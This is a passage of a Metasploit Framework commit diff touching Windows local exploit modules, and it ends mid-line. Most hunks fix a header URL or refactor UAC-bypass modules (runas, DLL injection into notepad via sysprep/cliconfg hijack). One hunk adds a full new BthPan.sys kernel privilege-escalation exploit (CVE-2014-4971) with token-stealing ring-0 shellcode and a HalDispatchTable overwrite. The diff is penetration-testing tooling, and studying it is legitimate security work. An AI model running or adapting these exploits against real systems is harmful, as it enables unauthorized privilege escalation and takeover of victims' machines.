module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb index 4d23542e5d..21dc18ab0e 100644 --- a/modules/exploits/windows/license/calicserv_getconfig.rb +++ b/modules/exploits/windows/license/calicserv_getconfig.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb index d2a0479ec7..28092a2253 100644 --- a/modules/exploits/windows/license/flexnet_lmgrd_bof.rb +++ b/modules/exploits/windows/license/flexnet_lmgrd_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/license/sentinel_lm7_udp.rb b/modules/exploits/windows/license/sentinel_lm7_udp.rb index 0a9a1af1df..0395c7089c 100644 --- a/modules/exploits/windows/license/sentinel_lm7_udp.rb +++ b/modules/exploits/windows/license/sentinel_lm7_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index 5bc2afeae6..a51426ae9c 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Local # Usint this solution atm because I'm experiencing problems with railgun when trying # use GetTokenInformation def low_integrity_level? - tmp_dir = expand_path("%TEMP%") + tmp_dir = session.sys.config.getenv('TEMP') cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb index e6a48947bc..8a0fadc801 100644 --- a/modules/exploits/windows/local/agnitum_outpost_acs.rb +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local if datastore["WritableDir"] and not datastore["WritableDir"].empty? temp_dir = datastore["WritableDir"] else - temp_dir = expand_path("%TEMP%") + temp_dir = client.sys.config.getenv('TEMP') end print_status("Using #{temp_dir} to drop malicious DLL...") diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index bc4f0516a2..444f67a6de 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ', + 'Ben Campbell', 'Parvez Anwar' # discovery?/inspiration ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 93e282aabf..105a4a492d 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -1,99 +1,64 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Exploit::EXE - include Post::File + include Post::Windows::Priv + include Post::Windows::Runas - def initialize(info={}) - super( update_info( info, + def initialize(info = {}) + super(update_info(info, 'Name' => 'Windows Escalate UAC Execute RunAs', - 'Description' => %q{ + 'Description' => %q( This module will attempt to elevate execution level using the ShellExecute undocumented RunAs flag to bypass low UAC settings. - }, + ), 'License' => MSF_LICENSE, - 'Author' => [ 'mubix' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], + 'Author' => [ + 'mubix', # Original technique + 'b00stfr3ak' # Added powershell option + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [['Windows', {}]], 'DefaultTarget' => 0, 'References' => [ - [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ] + ['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html'] ], - 'DisclosureDate'=> "Jan 3 2012" + 'DisclosureDate' => 'Jan 3 2012' )) register_options([ - OptString.new("FILENAME", [ false, "File name on disk"]), - OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]), - OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]) + OptString.new('FILENAME', [false, 'File name on disk']), + OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']), + OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]), ]) - end def exploit - - root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") - open_key = session.sys.registry.open_key(root_key, base_key) - lua_setting = open_key.query_value('EnableLUA') - - if lua_setting.data == 1 - print_status "UAC is Enabled, checking level..." + if is_uac_enabled? + print_status 'UAC is Enabled, checking level...' + case get_uac_level + when UAC_NO_PROMPT + print_good 'UAC is not enabled, no prompt for the user' + else + print_status "The user will be prompted, wait for them to click 'Ok'" + end else - print_good "UAC is not enabled, no prompt for the user" + print_good 'UAC is not enabled, no prompt for the user' end - uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') - - case uac_level.data - when 2 - print_status "UAC is set to 'Always Notify'" - print_status "The user will be prompted, wait for them to click 'Ok'" - when 5 - print_debug "UAC is set to Default" - print_debug "The user will be prompted, wait for them to click 'Ok'" - when 0 - print_good "UAC is not enabled, no prompt for the user" + case datastore['TECHNIQUE'] + when 'EXE' + shell_execute_exe(datastore['FILENAME'], datastore['PATH']) + when 'PSH' + shell_execute_psh end - - - # - # Generate payload and random names for upload - # - payload = generate_payload_exe - - if datastore["FILENAME"] - payload_filename = datastore["FILENAME"] - else - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - end - - if datastore["PATH"] - payload_path = datastore["PATH"] - else - payload_path = session.fs.file.expand_path("%TEMP%") - end - - cmd_location = "#{payload_path}\\#{payload_filename}" - - if datastore["UPLOAD"] - print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...") - fd = session.fs.file.new(cmd_location, "wb") - fd.write(payload) - fd.close - end - - session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) - end end - diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb new file mode 100644 index 0000000000..feecf60366 --- /dev/null +++ b/modules/exploits/windows/local/bthpan.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', + 'Description' => %q{ + A vulnerability within Microsoft Bluetooth Personal Area Networking module, + BthPan.sys, can allow an attacker to inject memory controlled by the attacker + into an arbitrary location. This can be used by an attacker to overwrite + HalDispatchTable+0x4 and execute arbitrary code by subsequently calling + NtQueryIntervalProfile. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Targets' => + [ + ['Windows XP SP3', + { + 'HaliQuerySystemInfo' => 0x16bba, + '_KPROCESS' => "\x44", + '_TOKEN' => "\xc8", + '_UPID' => "\x84", + '_APLINKS' => "\x88" + } + ] + ], + 'References' => + [ + [ 'CVE', '2014-4971' ], + [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ], + [ 'OSVDB', '109387' ] + ], + 'DisclosureDate' => 'Jul 18 2014', + 'DefaultTarget' => 0 + )) + end + + + def ring0_shellcode + tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" + tokenswap << "\x8B\x40\x44\x50\xBB\x04" + tokenswap << "\x00\x00\x00\x8B\x80\x88" + tokenswap << "\x00\x00\x00\x2D\x88" + tokenswap << "\x00\x00\x00\x39\x98\x84" + tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8" + tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" + tokenswap << [session.sys.process.getpid].pack('V') + tokenswap << "\x8B\x80\x88\x00\x00\x00" + tokenswap << "\x2D\x88\x00\x00\x00" + tokenswap << "\x39\x98\x84\x00\x00\x00" + tokenswap << "\x75\xED\x89\xB8\xC8" + tokenswap << "\x00\x00\x00\x61\xC3" + end + + def fill_memory(proc, address, length, content) + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + + unless proc.memory.writable?(address) + vprint_error("Failed to allocate memory") + return nil + end + vprint_good("#{address} is now writable") + + result = proc.memory.write(address, content) + + if result.nil? + vprint_error("Failed to write contents to memory") + return nil + end + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") + + return address + end + + def disclose_addresses(t) + addresses = {} + + hal_dispatch_table = find_haldispatchtable + return nil if hal_dispatch_table.nil? + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") + + vprint_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + if hal_info.nil? + vprint_error('Failed to disclose hal.dll base address') + return nil + end + hal_base = hal_info[0] + vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") + + hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] + addresses['HaliQuerySystemInfo'] = hali_query_system_information + + vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses + end + + def check + if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + os = sysinfo["OS"] + return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i + + handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + return Exploit::CheckCode::Safe unless handle + + session.railgun.kernel32.CloseHandle(handle) + + return Exploit::CheckCode::Vulnerable + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") + end + + my_target = targets[0] + print_status("Disclosing the HalDispatchTable address...") + @addresses = disclose_addresses(my_target) + if @addresses.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.") + else + print_good("Address successfully disclosed.") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + kernel_shell = ring0_shellcode + kernel_shell_address = 0x1 + + buf = "\x90" * 0x6000 + buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400 + buf[0x5000, kernel_shell.length] = kernel_shell + + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) + if result.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + end + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") + + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) + session.railgun.kernel32.CloseHandle(handle) + + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The privilege escalation wasn't successful") + end + print_good("Privilege escalation successful!") + + p = payload.encoded + print_status("Injecting #{p.length} bytes to memory and executing it...") + unless execute_shellcode(p) + fail_with(Failure::Unknown, "Error while executing the payload") + end + end +end + diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index a9c0103521..046c600212 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -1,10 +1,9 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking @@ -12,9 +11,10 @@ class Metasploit3 < Msf::Exploit::Local include Exploit::EXE include Post::File include Post::Windows::Priv + include Post::Windows::Runas def initialize(info={}) - super( update_info( info, + super( update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass', 'Description' => %q{ This module will bypass Windows UAC by utilizing the trusted publisher @@ -23,9 +23,9 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ - 'David Kennedy "ReL1K" ', - 'mitnick', - 'mubix' # Port to local exploit + 'David Kennedy "ReL1K" ', + 'mitnick', + 'mubix' # Port to local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -40,8 +40,12 @@ class Metasploit3 < Msf::Exploit::Local 'DisclosureDate'=> "Dec 31 2010" )) - end + register_options([ + OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off', + 'EXE', %w(PSH EXE)]), + ]) + end def check_permissions! # Check if you are an admin @@ -55,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Local if admin_group print_good('Part of Administrators group! Continuing...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end @@ -73,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) when UAC_DEFAULT - print_good "UAC is set to Default" - print_good "BypassUAC can bypass this setting, continuing..." + print_good 'UAC is set to Default' + print_good 'BypassUAC can bypass this setting, continuing...' when UAC_NO_PROMPT print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" runas_method @@ -90,15 +94,13 @@ class Metasploit3 < Msf::Exploit::Local pid = cmd_exec_get_pid(cmd) ::Timeout.timeout(30) do - until session_created? do - select(nil,nil,nil,1) - end + select(nil, nil, nil, 1) until session_created? end session.sys.process.kill(pid) # delete the uac bypass payload file_rm(path_bypass) file_rm("#{expand_path("%TEMP%")}\\tior.exe") - cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" ) + cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" ) end def path_bypass @@ -110,24 +112,24 @@ class Metasploit3 < Msf::Exploit::Local end def upload_binaries! - print_status("Uploaded the agent to the filesystem....") + print_status('Uploaded the agent to the filesystem....') # # Generate payload and random names for upload # payload = generate_payload_exe # path to the bypassuac binary - path = ::File.join(Msf::Config.data_directory, "post") + path = ::File.join(Msf::Config.data_directory, 'post') # decide, x86 or x64 bpexe = nil if sysinfo["Architecture"] =~ /x64/i - bpexe = ::File.join(path, "bypassuac-x64.exe") + bpexe = ::File.join(path, 'bypassuac-x64.exe') else - bpexe = ::File.join(path, "bypassuac-x86.exe") + bpexe = ::File.join(path, 'bypassuac-x86.exe') end - print_status("Uploading the bypass UAC executable to the filesystem...") + print_status('Uploading the bypass UAC executable to the filesystem...') begin # @@ -144,14 +146,14 @@ class Metasploit3 < Msf::Exploit::Local end def runas_method - payload = generate_payload_exe - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tmpdir = expand_path("%TEMP%") - tempexe = tmpdir + "\\" + payload_filename - write_file(tempexe, payload) - print_status("Uploading payload: #{tempexe}") - session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) - print_status("Payload executed") + case datastore['TECHNIQUE'] + when 'PSH' + # execute PSH + shell_execute_psh + when 'EXE' + # execute EXE + shell_execute_exe + end end def validate_environment! @@ -159,23 +161,20 @@ class Metasploit3 < Msf::Exploit::Local # # Verify use against Vista+ # - winver = sysinfo["OS"] + winver = sysinfo['OS'] unless winver =~ /Windows Vista|Windows 2008|Windows [78]/ fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? - print_status "UAC is Enabled, checking level..." + print_status 'UAC is Enabled, checking level...' else if is_in_admin_group? - fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") + fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end - - end - diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index e297bbe31e..b2003f93b8 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE + include Exploit::FileDropper include Post::File include Post::Windows::Priv include Post::Windows::ReflectiveDLLInjection + include Post::Windows::Runas def initialize(info={}) super( update_info( info, @@ -24,13 +26,17 @@ class Metasploit3 < Msf::Exploit::Local technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). + If specifying EXE::Custom your DLL should call ExitProcess() after starting + your payload in a seperate process. }, 'License' => MSF_LICENSE, 'Author' => [ 'David Kennedy "ReL1K" ', 'mitnick', 'mubix', # Port to local exploit - 'Ben Campbell [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -45,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' ] ], - 'DisclosureDate'=> "Dec 31 2010" + 'DisclosureDate'=> 'Dec 31 2010' )) end - def bypass_dll_path - # path to the bypassuac binary - path = ::File.join(Msf::Config.data_directory, "post") + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! - # decide, x86 or x64 - sysarch = sysinfo["Architecture"] - if sysarch =~ /x64/i - unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x86 Target Selected for x64 System" + # get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) - end - - if sysarch =~ /WOW64/i - return ::File.join(path, "bypassuac-x86.dll") - else - return ::File.join(path, "bypassuac-x64.dll") - end - else - if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x64 Target Selected for x86 System" - ) - end - - ::File.join(path, "bypassuac-x86.dll") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return end + + dll_path = bypass_dll_path + payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll" + + upload_payload_dll(payload_filepath) + + pid = spawn_inject_proc(env_vars['WINDIR']) + + file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) + run_injection(pid, dll_path, file_paths) + + # Windows 7 this is cleared up by DLL but on Windows + # 8.1 it fails to delete the the file. + register_file_for_cleanup(file_paths[:szElevDllFull]) end + def bypass_dll_path + # path to the bypassuac binary + path = ::File.join(Msf::Config.data_directory, 'post') + # decide, x86 or x64 + sysarch = sysinfo['Architecture'] + if sysarch =~ /x64/i + unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x86 Target Selected for x64 System' + ) + end + return ::File.join(path, 'bypassuac-x64.dll') + else + if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x64 Target Selected for x86 System' + ) + end + + return ::File.join(path, 'bypassuac-x86.dll') + end + end def check_permissions! # Check if you are an admin @@ -95,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local if admin_group print_good('Part of Administrators group! Continuing...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end - - - def exploit - validate_environment! - - case get_uac_level - when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UAC_DEFAULT - print_good "UAC is set to Default" - print_good "BypassUAC can bypass this setting, continuing..." - when UAC_NO_PROMPT - print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" - runas_method - return - end - - check_permissions! - - @temp_path = expand_path('%TEMP%').strip - - upload_payload_dll! - - pid = spawn_inject_proc - - run_injection(pid, bypass_dll_path) - - # delete the uac bypass payload - vprint_status("Cleaning up payload file...") - file_rm(payload_filepath) - end - - - def payload_filepath - "#{@temp_path}\\CRYPTBASE.dll" - end - - - - def runas_method - payload = generate_payload_exe - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tmpdir = expand_path("%TEMP%") - tempexe = tmpdir + "\\" + payload_filename - write_file(tempexe, payload) - print_status("Uploading payload: #{tempexe}") - session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) - print_status("Payload executed") - end - - - - - def run_injection(pid, dll_path) + def run_injection(pid, dll_path, file_paths) vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin + path_struct = create_struct(file_paths) + vprint_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) exploit_mem, offset = inject_dll_into_process(host_process, dll_path) - vprint_status("Executing payload") - thread = host_process.thread.create(exploit_mem + offset, 0) + + vprint_status("Injecting struct into #{pid}") + struct_addr = host_process.memory.allocate(path_struct.length) + host_process.memory.write(struct_addr, path_struct) + + vprint_status('Executing payload') + thread = host_process.thread.create(exploit_mem + offset, struct_addr) print_good("Successfully injected payload in to process: #{pid}") - client.railgun.kernel32.WaitForSingleObject(thread.handle,14000) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end end - - - def spawn_inject_proc - windir = expand_path("%WINDIR%").strip - print_status("Spawning process with Windows Publisher Certificate, to inject into...") - cmd = "#{windir}\\System32\\notepad.exe" + # Create a process in the native architecture + def spawn_inject_proc(win_dir) + print_status('Spawning process with Windows Publisher Certificate, to inject into...') + if sysinfo['Architecture'] =~ /wow64/i + cmd = "#{win_dir}\\sysnative\\notepad.exe" + else + cmd = "#{win_dir}\\System32\\notepad.exe" + end pid = cmd_exec_get_pid(cmd) unless pid - fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") + fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...') end pid end - - - def upload_payload_dll! + def upload_payload_dll(payload_filepath) payload = generate_payload_dll({:dll_exitprocess => true}) - print_status("Uploading the Payload DLL to the filesystem...") + print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) + register_file_for_cleanup(payload_filepath) rescue Rex::Post::Meterpreter::RequestError => e fail_with( - Exploit::Exception::Unknown, + Exploit::Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end end - - - def validate_environment! - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo["OS"] + winver = sysinfo['OS'] - unless winver =~ /Windows 2008|Windows [7]/ + case winver + when /Windows (7|8|2008|2012)/ + print_good("#{winver} may be vulnerable.") + else fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? - print_status "UAC is Enabled, checking level..." + print_status('UAC is Enabled, checking level...') else - if is_in_admin_group? - fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") - else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + unless is_in_admin_group? + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end + def get_file_paths(win_path, payload_filepath) + paths = {} + + case sysinfo['OS'] + when /Windows (7|2008)/ + paths[:szElevDll] = 'CRYPTBASE.dll' + paths[:szElevDir] = "#{win_path}\\System32\\sysprep" + paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" + when /Windows (8|2012)/ + paths[:szElevDll] = 'NTWDBLIB.dll' + paths[:szElevDir] = "#{win_path}\\System32" + # This should be fine to be left blank + paths[:szElevDirSysWow64] = '' + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe" + end + + paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}" + paths[:szTempDllPath] = payload_filepath + + paths + end + + # Creates the paths struct which contains all the required paths + # the dll needs to copy/execute etc. + def create_struct(paths) + + # write each path to the structure in the order they + # are defined in the bypass uac binary. + struct = '' + struct << fill_struct_path(paths[:szElevDir]) + struct << fill_struct_path(paths[:szElevDirSysWow64]) + struct << fill_struct_path(paths[:szElevDll]) + struct << fill_struct_path(paths[:szElevDllFull]) + struct << fill_struct_path(paths[:szElevExeFull]) + struct << fill_struct_path(paths[:szTempDllPath]) + + struct + end + + def fill_struct_path(path) + path = Rex::Text.to_unicode(path) + path + "\x00" * (520 - path.length) + end + end diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index a89fc57d3c..8b65ba6861 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Local ]), OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]), OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]), - OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'SMB', ['PSH', 'SMB'] ]), + OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]), OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), + OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve 